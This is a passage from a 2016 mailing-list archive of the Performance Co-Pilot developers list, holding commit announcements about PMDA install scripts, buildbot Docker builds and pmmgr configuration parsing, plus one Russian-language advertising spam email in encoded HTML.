----==_mimepart_57f5ee27bf0a7_13d73fddb48892b81084d4-- From nscott@redhat.com Thu Oct 6 01:27:18 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CE4E37CA0 for ; Thu, 6 Oct 2016 01:27:18 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7EC97304039 for ; Wed, 5 Oct 2016 23:27:18 -0700 (PDT) X-ASG-Debug-ID: 1475735229-0bf815670f272f00001-S8gJnT Received: from mx4-phx2.redhat.com (mx4-phx2.redhat.com [209.132.183.25]) by cuda.sgi.com with ESMTP id ru9hEeVMt18cEhEr (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 05 Oct 2016 23:27:10 -0700 (PDT) X-Barracuda-Envelope-From: nscott@redhat.com X-Barracuda-Effective-Source-IP: mx4-phx2.redhat.com[209.132.183.25] X-Barracuda-Apparent-Source-IP: 209.132.183.25 Received: from zmail20.collab.prod.int.phx2.redhat.com (zmail20.collab.prod.int.phx2.redhat.com [10.5.83.23]) by mx4-phx2.redhat.com (8.13.8/8.13.8) with ESMTP id u966R9Rl006294 for ; Thu, 6 Oct 2016 02:27:09 -0400 Date: Thu, 6 Oct 2016 02:27:09 -0400 (EDT) From: Nathan Scott Reply-To: Nathan Scott To: pcp developers Message-ID: <1276554602.706173.1475735229817.JavaMail.zimbra@redhat.com> In-Reply-To: <871134733.706172.1475735199116.JavaMail.zimbra@redhat.com> Subject: pcp updates: lberk+fche merges, deprecate $forced_restart use MIME-Version: 1.0 X-ASG-Orig-Subj: pcp updates: lberk+fche merges, deprecate $forced_restart use Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [10.64.48.88] X-Mailer: Zimbra 8.0.6_GA_5922 (ZimbraWebClient - FF49 (Linux)/8.0.6_GA_5922) Thread-Topic: pcp updates: lberk+fche merges, deprecate $forced_restart use Thread-Index: OeW2ooygXPPZhXi0KENGtGW3Z6xKkQ== X-Barracuda-Connect: mx4-phx2.redhat.com[209.132.183.25] X-Barracuda-Start-Time: 1475735230 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 9149 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33519 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Changes committed to git://git.pcp.io/pcp.git master Lukas Berk (4): Add additional network filter to qa/581 Revamp buildbot config and Dockerfile based builds Tweak buildbot master.cfg file Adjust buildbotURL variable as suggested Nathan Scott (3): qa: update test 1041 to cater for increase in libvirt metric count pmda scripts: deprecate forced_restart from Install scripts build: annotate PCP_RUN_DIR as %ghost in rpm packages Frank Ch. Eigler (1): relaxing the specificity of the cpu_cycle metric's documentation GNUmakefile | 2 books/PCP_PG/pcp-programmers-guide.xml | 1 build/rpm/fedora.spec | 1 build/rpm/pcp.spec.in | 13 + man/man3/pmda.3 | 16 -- qa/1041 | 5 qa/1041.out | 3 qa/1053 | 18 -- qa/1053.out | 3 qa/279 | 1 qa/279.out | 1 qa/348 | 2 qa/348.out | 3 qa/581 | 1 qa/652.out | 1 qa/740 | 7 qa/755 | 11 - qa/755.out | 3 qa/757 | 10 - qa/757.out | 3 qa/788 | 13 - qa/788.out | 3 qa/801 | 12 - qa/801.out | 3 qa/805 | 2 qa/805.out | 3 qa/845 | 4 qa/845.out | 3 qa/855 | 14 - qa/855.out | 3 qa/868 | 2 qa/878 | 2 qa/878.out | 3 qa/903 | 2 qa/903.out | 3 qa/964 | 43 +---- qa/964.out | 8 - qa/973 | 2 qa/973.out | 3 qa/buildbot/Dockerfile.centos7.qa | 16 ++ qa/buildbot/Dockerfile.debian8.qa | 20 ++ qa/buildbot/Dockerfile.fedora23.qa | 17 ++ qa/buildbot/Dockerfile.fedora24.qa | 17 ++ qa/buildbot/Dockerfile.mingw.build | 9 + qa/buildbot/master.cfg | 259 +++++++++++++++------------------ qa/pmdas/bigun/Install | 1 qa/pmdas/dynamic/Install | 1 qa/pmdas/memory_python/Install | 1 qa/pmdas/schizo/Install | 1 qa/pmdas/slow/Install | 1 qa/pmdas/slow_python/Install | 1 qa/pmdas/test_perl/Install | 1 src/pmcd/pmdaproc.sh | 23 -- src/pmdas/activemq/Install | 1 src/pmdas/apache/Install | 1 src/pmdas/bash/Install | 1 src/pmdas/bonding/Install | 1 src/pmdas/cifs/Install | 1 src/pmdas/cisco/Install | 1 src/pmdas/dbping/Install | 1 src/pmdas/dm/Install | 2 src/pmdas/ds389/Install | 1 src/pmdas/ds389log/Install | 1 src/pmdas/dtsrun/Install | 1 src/pmdas/elasticsearch/Install | 1 src/pmdas/gfs2/Install | 1 src/pmdas/gluster/Install | 1 src/pmdas/gpsd/Install | 1 src/pmdas/jbd2/Install | 1 src/pmdas/json/Install | 1 src/pmdas/kvm/Install | 4 src/pmdas/kvm/pmdakvm.pl | 8 - src/pmdas/libvirt/pmdalibvirt.python | 2 src/pmdas/lmsensors/Install | 1 src/pmdas/logger/Install | 1 src/pmdas/lustrecomm/Install | 1 src/pmdas/mailq/Install | 1 src/pmdas/memcache/Install | 1 src/pmdas/mmv/src/Install | 1 src/pmdas/mounts/Install | 1 src/pmdas/mssql/Install | 1 src/pmdas/mysql/Install | 1 src/pmdas/named/Install | 1 src/pmdas/netfilter/Install | 1 src/pmdas/news/Install | 1 src/pmdas/nginx/Install | 1 src/pmdas/nvidia/Install | 1 src/pmdas/oracle/Install | 1 src/pmdas/papi/Install | 1 src/pmdas/pdns/Install | 1 src/pmdas/perfevent/Install | 1 src/pmdas/pipe/Install | 1 src/pmdas/postfix/Install | 2 src/pmdas/postgresql/Install | 1 src/pmdas/process/Install | 1 src/pmdas/roomtemp/Install | 1 src/pmdas/rpm/Install | 1 src/pmdas/rsyslog/Install | 1 src/pmdas/sample/Install | 1 src/pmdas/sendmail/Install | 1 src/pmdas/shping/Install | 1 src/pmdas/simple/Install | 1 src/pmdas/snmp/Install | 1 src/pmdas/summary/Install | 1 src/pmdas/trace/Install | 1 src/pmdas/trivial/Install | 1 src/pmdas/txmon/Install | 1 src/pmdas/unbound/Install | 1 src/pmdas/vmware/Install | 1 src/pmdas/weblog/Install | 1 src/pmdas/zimbra/Install | 1 src/pmdas/zswap/Install | 1 112 files changed, 268 insertions(+), 405 deletions(-) commit 000cc81892bbc2dad9bf0618062ffe17b390a4c0 Author: Nathan Scott Date: Thu Oct 6 17:21:11 2016 +1100 build: annotate PCP_RUN_DIR as %ghost in rpm packages Apparently this is more correct behaviour for this directory. commit 07092983aaef3f31f16f8e518757c364a7f52d95 Author: Nathan Scott Date: Thu Oct 6 16:52:16 2016 +1100 pmda scripts: deprecate forced_restart from Install scripts Remove most remaining cases of pmcd restarting from the PMDA Installation process, now that pmdaroot is thriving. This increases pmcd uptime (and client longevity) across installs of optional PMDAs - sighup gets preferred over pmcd restart. This is functionality we used to have, lost when pmcd became unprivileged, but now finally reclaimed (hence forced_restart workaround largely dropped). The ability is kept for out-of- tree PMDAs that may have some unanticipated need for it. We also have a couple of QA tests that inject test data via env vars that are relying on it (affects dm & postfix PMDAs - in the end, we should drop these uses as well by reworking this test data injection method). Finally, pmdaproc.sh is made quicker by reducing the default pmcd signal wait time, and dropping the few leftover pmlogger restarts there (not needed now with pmlogger auto-reconnect). commit 2ad2bcda486adbc3acd57b8e8c12880b2e2be13a Author: Lukas Berk Date: Wed Oct 5 22:36:13 2016 -0400 Adjust buildbotURL variable as suggested commit 972ea7f04740b13e85f05d91d5754a6f3e70f453 Author: Lukas Berk Date: Wed Oct 5 22:33:08 2016 -0400 Tweak buildbot master.cfg file commit 67f2a50b918c595f81ef5ee2a2c41b48c7ca2ba8 Author: Lukas Berk Date: Wed Oct 5 20:23:03 2016 -0400 Revamp buildbot config and Dockerfile based builds Buildbot 0.9 has introduced several config file changes, prep for that. Also transition to a docker based approach so a host can run multiple testruns at once, and eventually we'll be able to make failed qa run environments directly via our own miniture registry (perhaps). commit 78cac5a8b45e8546ad205da4500573d67237cc5e Author: Frank Ch. Eigler Date: Wed Oct 5 16:38:46 2016 +0000 relaxing the specificity of the cpu_cycle metric's documentation ... considering that it's likely in error in the libvirt upstream. commit f1d0ab1ebbd632c562bb5d089ffb240291ed6e80 Author: Nathan Scott Date: Wed Oct 5 14:36:16 2016 +1100 qa: update test 1041 to cater for increase in libvirt metric count commit 4daf72a298c4dfafd35a8563fdad1dedad45a987 Author: Lukas Berk Date: Wed Sep 28 09:09:15 2016 -0400 Add additional network filter to qa/581 From propliopitek@dedabbeccdcefd.ru Thu Oct 6 03:47:19 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_08, HTML_MESSAGE,MIME_HTML_ONLY,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E1E937CA0 for ; Thu, 6 Oct 2016 03:47:19 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B45E2304039 for ; Thu, 6 Oct 2016 01:47:19 -0700 (PDT) X-ASG-Debug-ID: 1475743630-0bf57c7e211ec890001-S8gJnT Received: from dedabbeccdcefd.ru (ec2-54-214-20-144.us-west-2.compute.amazonaws.com [54.214.20.144]) by cuda.sgi.com with ESMTP id QjQN7ev0CzdVpteE (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 06 Oct 2016 01:47:11 -0700 (PDT) X-Barracuda-Envelope-From: propliopitek@dedabbeccdcefd.ru X-Barracuda-Effective-Source-IP: ec2-54-214-20-144.us-west-2.compute.amazonaws.com[54.214.20.144] X-Barracuda-Apparent-Source-IP: 54.214.20.144 Received: from localhost (localhost [127.0.0.1]) by dedabbeccdcefd.ru (8.14.4/8.14.4/Debian-4.1ubuntu1) with ESMTP id u968NYHG001668 for ; Thu, 6 Oct 2016 11:47:08 +0300 DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=dedabbeccdcefd.ru; s=mail; t=1475743629; bh=hWPhL0yixOf+7UBwzU7/awIbKx6uPO/Yg4uomYmUoew=; h=To:From:Reply-To:Subject:From; b=uFYg/0jBgShbZXWoF+Wc3PBECF6JDEOzrLwXODzmPjMo3e4rH0ulBy+CfzXyJhqlT tmtmjL9ZHVl8ynVIDCFavcJN/eNARpjA37Q0AoaT4lCiqpTXkwafwQ+HvTk5d0zuiX tZRfIWIVgwsPPVDBAjupgo1JG75+z2kMsUpEbAeQ= Date: Thu, 6 Oct 2016 11:47:08 +0300 Message-Id: <201610060847.u968NYHG001668@dedabbeccdcefd.ru> MIME-Version: 1.0 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable To: pcp@oss.sgi.com From: =?UTF-8?Q?=D0=9C=D0=91=D0=A1?= Reply-To: =?UTF-8?Q?=D0=9C=D0=91=D0=A1?= Subject: =?UTF-8?Q?=D0=98=D0=BD=D1=82=D0=B5=D1=80=D0=BD=D0=B5=D1=82-?= =?UTF-8?Q?=D0=BC=D0=B0=D0=B3=D0=B0=D0=B7=D0=B8=D0=BD_=D0=BF=D0=BE=D0=B4_?= =?UTF-8?Q?=D0=BA=D0=BB=D1=8E=D1=87_=D0=BF=D0=BE_=D1=81=D0=BF=D0=B5=D1=86?= =?UTF-8?Q?=D0=B8=D0=B0=D0=BB=D1=8C=D0=BD=D0=BE=D0=B9_=D1=86=D0=B5=D0=BD?= =?UTF-8?Q?=D0=B5?= X-Barracuda-Connect: ec2-54-214-20-144.us-west-2.compute.amazonaws.com[54.214.20.144] X-Barracuda-Start-Time: 1475743630 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-ASG-Orig-Subj: =?UTF-8?Q?=D0=98=D0=BD=D1=82=D0=B5=D1=80=D0=BD=D0=B5=D1=82-?= =?UTF-8?Q?=D0=BC=D0=B0=D0=B3=D0=B0=D0=B7=D0=B8=D0=BD_=D0=BF=D0=BE=D0=B4_?= =?UTF-8?Q?=D0=BA=D0=BB=D1=8E=D1=87_=D0=BF=D0=BE_=D1=81=D0=BF=D0=B5=D1=86?= =?UTF-8?Q?=D0=B8=D0=B0=D0=BB=D1=8C=D0=BD=D0=BE=D0=B9_=D1=86=D0=B5=D0=BD?= =?UTF-8?Q?=D0=B5?= X-Barracuda-Scan-Msg-Size: 38453 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.32 X-Barracuda-Spam-Status: No, SCORE=0.32 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_08, HTML_MESSAGE, MIME_HTML_ONLY, URI_HEX X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33519 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.32 URI_HEX URI: URI hostname has long hexadecimal sequence 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_IMAGE_RATIO_08 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message MBS
3D'=D0=9B=D0=BE=D0=B3=D0=BE=D1=82=D0=B8=D0=BF
3D"= =D0=98=D0=BD=D1=82=D0=B5=D1=80=D0=BD=D0=B5=D1=82-= =D0=BC=D0=B0=D0=B3=D0=B0=D0=B7=D0=B8=D0=BD

=D0=B4=D0=BB=D1=8F =D0=92=D0=B0=D1=88=D0=B5=D0=B3=D0=BE =D0=B1=D0= =B8=D0=B7=D0=BD=D0=B5=D1=81=D0=B0

=D0=A4=D1=83=D0=BD=D0=BA=D1=86=D0=B8=D0=BE=D0=BD=D0=B0=D0=BB=D1= =8C=D0=BD=D1=8B=D0=B9 =D0=B8=D0=BD=D1=82=D0=B5=D1=80=D0=BD=D0=B5=D1=82-=D0= =BC=D0=B0=D0=B3=D0=B0=D0=B7=D0=B8=D0=BD

=D1=81 =D1=81=D0=B8=D1=81=D1=82=D0=B5=D0=BC=D0=B0=D0=BC=D0=B8 =D0= =BE=D0=BF=D0=BB=D0=B0=D1=82

=D0=B8 =D0=B8=D0=BD=D0=B4=D0=B8=D0=B2=D0=B8=D0=B4=D1=83=D0=B0=D0= =BB=D1=8C=D0=BD=D1=8B=D0=BC =D0=B4=D0=B8=D0=B7=D0=B0=D0=B9=D0=BD=D0=BE=D0= =BC

3D""
3D"11"

3D"11"

3D"11"

3D""
=D0=A3=D0=BD=D0=B8=D0=BA=D0=B0=D0=BB=D1=8C=D0=BD= =D1=8B=D0=B5 =D0=BE=D0=BF=D1=86=D0=B8=D0=B8

=D0=A0=D0=B0=D0=B7=D1=80=D0=B0=D0=B1=D0=B0=D1=82=D1=8B=D0=B2=D0=B0=D1=8F= =D1=81=D0=B0=D0=B9=D1=82 =D0=BC=D1=8B =D0=BF=D1=80=D0=B8=D0=B4=D0=B5=D1=80= =D0=B6=D0=B8=D0=B2=D0=B0=D0=B5=D0=BC=D1=81=D1=8F =D1=81=D0=B2=D0=BE=D0=B5= =D0=B9 =D1=81=D1=85=D0=B5=D0=BC=D1=8B =D1=80=D0=B0=D0=B1=D0=BE=D1=82=D1=8B,=

=D0=BA=D0=BE=D1=82=D0=BE=D1= =80=D0=B0=D1=8F =D0=B2=D0=BB=D1=8E=D1=87=D0=B0=D0=B5=D1=82 =D0=B2 =D1=81=D0= =B5=D0=B1=D1=8F

3D"=D0=98=D0=

=D0=94=D0=B8=D0=B7=D0=B0=D0=B9=D0=BD

=D0=98=D0=BD=D0= =B4=D0=B8=D0=B2=D0=B8=D0=B4=D1=83=D0=B0=D0=BB=D1=8C=D0=BD=D1=8B=D0=B9

=D0=BC=D0=B0=D0= =BA=D0=B5=D1=82 =D0=B4=D0=B8=D0=B7=D0=B0=D0=B9=D0=BD=D0=B0

 

3D"=D0=98=D0=

=D0=9A=D0=B0=D1=82=D0=B0=D0=BB=D0=BE=D0=B3

=D0=9A=D0=B0=D1= =82=D0=B0=D0=BB=D0=BE=D0=B3 =D1=82=D0=BE=D0=B2=D0=B0=D1=80=D0=BE=D0=B2 =D0= =B1=D0=B5=D0=B7

=D0=BE=D0=B3=D1= =80=D0=B0=D0=BD=D0=B8=D1=87=D0=B5=D0=BD=D0=B8=D1=8F =D0=BA=D0=BE=D0=BB=D0= =B8=D1=87=D0=B5=D1=81=D1=82=D0=B2=D0=B0

=D0=BF=D0=BE=D0= =B7=D0=B8=D1=86=D0=B8=D0=B9

3D"=D0=98=D0=

CMS

=D0=9F=D0=BE=D0= =BB=D0=BD=D0=BE=D1=84=D1=83=D0=BD=D0=BA=D1=86=D0=B8=D0=BE=D0=BD=D0=B0=D0=BB= =D1=8C=D0=BD=D0=B0=D1=8F

=D1=81=D0=B8=D1= =81=D1=82=D0=B5=D0=BC=D0=B0 =D1=83=D0=BF=D1=80=D0=B0=D0=B2=D0=BB=D0=B5=D0= =BD=D0=B8=D1=8F

=D1=81=D0=B0=D0= =B9=D1=82=D0=BE=D0=BC

3D"=D0=98=D0=

=D0=9E=D0=BD=D0=BB=D0=B0=D0=B9=D0=BD =D0=BE=D0=BF=D0=BB=D0=B0=D1= =82=D0=B0

=D0=9E=D1=80=D0= =B3=D0=B0=D0=BD=D0=B8=D0=B7=D0=B0=D1=86=D0=B8=D1=8F =D0=BE=D0=BF=D0=BB=D0= =B0=D1=82=D1=8B

=D0=BF=D0=BE =D0= =B1=D0=B0=D0=BD=D0=BA=D0=BE=D0=B2=D1=81=D0=BA=D0=B8=D0=BC =D0=BA=D0=B0=D1= =80=D1=82=D0=B0=D0=BC =D0=B8

=D1=8D=D0=BB=D0= =B5=D0=BA=D1=82=D1=80=D0=BE=D0=BD=D0=BD=D1=8B=D0=BC =D0=BF=D0=BB=D0=B0=D1= =82=D0=B5=D0=B6=D0=BD=D1=8B=D0=BC

=D1=81=D0=B8=D1= =81=D1=82=D0=B5=D0=BC=D0=B0=D0=BC

=D0=A3=D0=B7=D0=BD=D0=B0=D1=82=D1=8C =D0=BF=D0=BE=D0=B4= =D1=80=D0=BE=D0=B1=D0=BD=D0=B5=D0=B5
=D0=A4=D1=83=D0=BD=D0=BA=D1=86=D0=B8= =D0=BE=D0=BD=D0=B0=D0=BB=D1=8C=D0=BD=D1=8B=D0=B5 =D0=BC=D0=BE=D0=B4=D1=83= =D0=BB=D0=B8

=D0=9E=D0=B3=D1=80=D0= =BE=D0=BC=D0=BD=D1=8B=D0=B9 =D0=BD=D0=B0=D0=B1=D0=BE=D1=80 =D0=BE=D0=BF=D1= =86=D0=B8=D0=B9 =D0=B4=D0=BB=D1=8F =D0=BF=D0=BE=D0=BB=D0=BD=D0=BE=D1=86=D0= =B5=D0=BD=D0=BD=D0=BE=D0=B9

=D1=80=D0=B0=D0=B1=D0=BE= =D1=82=D1=8B =D0=B2=D0=B0=D1=88=D0=B5=D0=B3=D0=BE =D1=81=D0=B0=D0=B9=D1=82= =D0=B0. =D0=92=D0=BE=D1=82 =D0=BD=D0=B5=D0=BA=D0=BE=D1=82=D0=BE=D1=80=D1=8B= =D0=B5 =D0=B8=D0=B7 =D0=BD=D0=B8=D1=85:

3D'ok'=D0=9C=D0=BE=D0=B4=D1=83=D0=BB=D1=8C =C2= =AB=D0=9D=D0=BE=D0=B2=D0=BE=D1=81=D1=82=D0=BD=D0=B0=D1=8F =D0=BB=D0=B5=D0= =BD=D1=82=D0=B0=C2=BB
3D'ok'=D0=9C=D0=BE=D0=B4=D1=83=D0=BB=D1=8C =C2= =AB=D0=A4=D0=BE=D1=82=D0=BE=D0=B3=D0=B0=D0=BB=D0=B5=D1=80=D0=B5=D1=8F=C2=BB
3D'ok'=D0=9C=D0=BE=D0=B4=D1=83=D0=BB=D1=8C =C2= =AB=D0=A1=D0=BB=D0=B0=D0=B9=D0=B4-=D1=88=D0=BE=D1=83=C2=BB
3D'ok'=D0=9C=D0=BE=D0=B4=D1=83=D0=BB=D1=8C =C2= =AB=D0=9A=D0=B0=D1=82=D0=B0=D0=BB=D0=BE=D0=B3 =D0=9F=D1=80=D0=BE=D0=B4=D1= =83=D0=BA=D1=86=D0=B8=D0=B8 =D0=B8=D0=BB=D0=B8 =D0=A3=D1=81=D0=BB=D1=83=D0= =B3=C2=BB
3D'ok'=D0=9C=D0=BE=D0=B4=D1=83=D0=BB=D1=8C =C2= =AB=D0=97=D0=B0=D0=BA=D0=B0=D0=B7=D0=B0=D1=82=D1=8C =D0=B7=D0=B2=D0=BE=D0= =BD=D0=BE=D0=BA=C2=BB
=D0=A3= =D0=B7=D0=BD=D0=B0=D1=82=D1=8C =D0=BF=D0=BE=D0=B4=D1=80=D0=BE=D0=B1=D0=BD= =D0=B5=D0=B5
= =D0=A1=D1=80=D0=BE=D0=BA =D1=80=D0=B5=D0=B0=D0=BB=D0=B8=D0=B7=D0=B0=D1=86= =D0=B8=D0=B8 =D0=BF=D1=80=D0=BE=D0=B5=D0=BA=D1=82=D0=B0

=D1=81 =D0=B1=D0=B0=D0=B7=D0=BE=D0=B2=D1=8B=D0=BC =D1=84=D1= =83=D0=BD=D0=BA=D1=86=D0=B8=D0=BE=D0=BD=D0=B0=D0=BB=D0=BE=D0=BC

=D0=B2=D1=81=D0=B5=D0= =B3=D0=BE 3D"" =D1=80=D0=B0=D0=B1=D0=BE=D1=87=D0=B8=D1= =85 =D0=B4=D0=BD=D0=B5=D0=B9!

=D0=9F=D0=BE=D1=80=D1=82=D1=84=D0=BE=D0=BB=D0=B8= =D0=BE =D1=81=D0=B0=D0=B9=D1=82=D0=BE=D0=B2

=D0=97=D0=B0 11 =D0=BB=D0=B5=D1=82 =D0=BC=D1=8B =D1=80=D0=B0=D0= =B7=D1=80=D0=B0=D0=B1=D0=BE=D1=82=D0=B0=D0=BB=D0=B8 =D0=B1=D0=BE=D0=BB=D0= =B5=D0=B5 =D1=87=D0=B5=D0=BC

1100 =D1=83=D0=BD=D0=B8=D0=BA=D0=B0=D0=BB=D1=8C=D0=BD=D1=8B=D1=85 =D0= =BF=D1=80=D0=BE=D0=B5=D0=BA=D1=82=D0=BE=D0=B2

3D'=D0=9B= 3D'=D0=9B= 3D'=D0=9B=
3D"=D0=98=D0=

=D0=97=D0=B0= =D0=BA=D0=B0=D0=B7=D1=87=D0=B8=D0=BA=D1=83 =D0=BF=D0=B5=D1=80=D0=B5=D0=B4= =D0=B0=D1=8E=D1=82=D1=81=D1=8F

=D0=B8=D1=81= =D0=BA=D0=BB=D1=8E=D1=87=D0=B8=D1=82=D0=B5=D0=BB=D1=8C=D0=BD=D1=8B=D0=B5 = =D0=BF=D1=80=D0=B0=D0=B2=D0=B0 =D0=BD=D0=B0

=D1=80=D0=B0= =D0=B7=D1=80=D0=B0=D0=B1=D0=BE=D1=82=D0=B0=D0=BD=D0=BD=D1=8B=D0=B9 =D1=81= =D0=B0=D0=B9=D1=82.

3D"=D0=

 

12 =D0=BC= =D0=B5=D1=81=D1=8F=D1=86=D0=B5=D0=B2 =D0=B3=D0=B0=D1=80=D0=B0=D0=BD=D1=82= =D0=B8=D0=B8.  

 

3D"=D0=

12 =D0=BC= =D0=B5=D1=81=D1=8F=D1=86=D0=B5=D0=B2 =D0=B1=D0=B5=D1=81=D0=BF=D0=BB=D0=B0= =D1=82=D0=BD=D0=BE=D0=B9

=D0=BA=D0= =BE=D0=BD=D1=81=D1=83=D0=BB=D1=8C=D1=82=D0=B0=D1=82=D0=B8=D0=B2=D0=BD=D0=BE= =D0=B9 =D0=BF=D0=BE=D0=B4=D0=B4=D0=B5=D1=80=D0=B6=D0=BA=D0=B8.

3D'=D0=9B=D0=BE=D0=B3=D0=BE=D1=82=D0=B8=D0=BF=
=D0=92=D1=8B =D0=BC=D0=BE=D0=B6=D0=B5=D1=82=D0=B5 =D0=BE=D1=82=D0=BA=D0=B0=D0=B7=D0=B0=D1=82=D1= =8C=D1=81=D1=8F =D0=BE=D1=82 =D0=BF=D0=BE=D0=BB=D1=83=D1=87=D0=B5=D0=BD=D0= =B8=D1=8F =D0=B8=D0=BD=D1=84=D0=BE=D1=80=D0=BC=D0=B0=D1=86=D0=B8=D0=B8= =2E
=D0=95=D1=81=D0=BB=D0=B8 =D1=81=D1=81=D1=8B=D0=BB=D0=BA=D0=B0 =D0=BD=D0= =B5 =D0=BE=D1=82=D0=BA=D1=80=D1=8B=D0=B2=D0=B0=D0=B5=D1=82=D1=81=D1=8F, =D1= =81=D0=BA=D0=BE=D0=BF=D0=B8=D1=80=D1=83=D0=B9=D1=82=D0=B5 =D0=B5=D0=B5 =D0= =B8 =D0=BE=D1=82=D0=BA=D1=80=D0=BE=D0=B9=D1=82=D0=B5 =D0=B2 =D0=B1=D1=80=D0= =B0=D1=83=D0=B7=D0=B5=D1=80=D0=B5.
http://dedabbeccdcefd.ru/?unsubscribe&email=3Dpcp@oss.sgi.com&pid=3D4
From fche@redhat.com Thu Oct 6 08:24:50 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7A9E17CA0 for ; Thu, 6 Oct 2016 08:24:50 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4A8F9304051 for ; Thu, 6 Oct 2016 06:24:50 -0700 (PDT) X-ASG-Debug-ID: 1475760288-0bf57c7e211fc1a0001-S8gJnT Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id A74tTCFhUKJ69LxE (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 06 Oct 2016 06:24:49 -0700 (PDT) X-Barracuda-Envelope-From: fche@redhat.com X-Barracuda-Effective-Source-IP: mx1.redhat.com[209.132.183.28] X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.redhat.com (Postfix) with ESMTPS id 9C8E1A1F4E for ; Thu, 6 Oct 2016 13:24:48 +0000 (UTC) Received: from fche.csb (vpn-54-235.rdu2.redhat.com [10.10.54.235]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u96DOmDJ032420 for ; Thu, 6 Oct 2016 09:24:48 -0400 Received: by fche.csb (Postfix, from userid 2569) id 6D42558AE4; Thu, 6 Oct 2016 09:24:47 -0400 (EDT) Date: Thu, 6 Oct 2016 09:24:47 -0400 From: "Frank Ch. Eigler" To: pcp developers Subject: pcp update: pmmgr tolerance of \n-less lines Message-ID: <20161006132447.GD28519@redhat.com> X-ASG-Orig-Subj: pcp update: pmmgr tolerance of \n-less lines Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.2i X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.39]); Thu, 06 Oct 2016 13:24:48 +0000 (UTC) X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1475760289 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 531 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi - On pcpfans.git fche/pmfuntools: commit 1125c867ca196088b185e6aa9b3e60ed0491cd78 Author: Frank Ch. Eigler Date: Thu Oct 6 08:59:58 2016 -0400 pmmgr: tolerate configuration lines without \n terminator plhu reported pmmgr ignoring \n-less lines at end of a configuration file. pmmgr now accepts those lines, and warns on a few more cases. qa/669 | 10 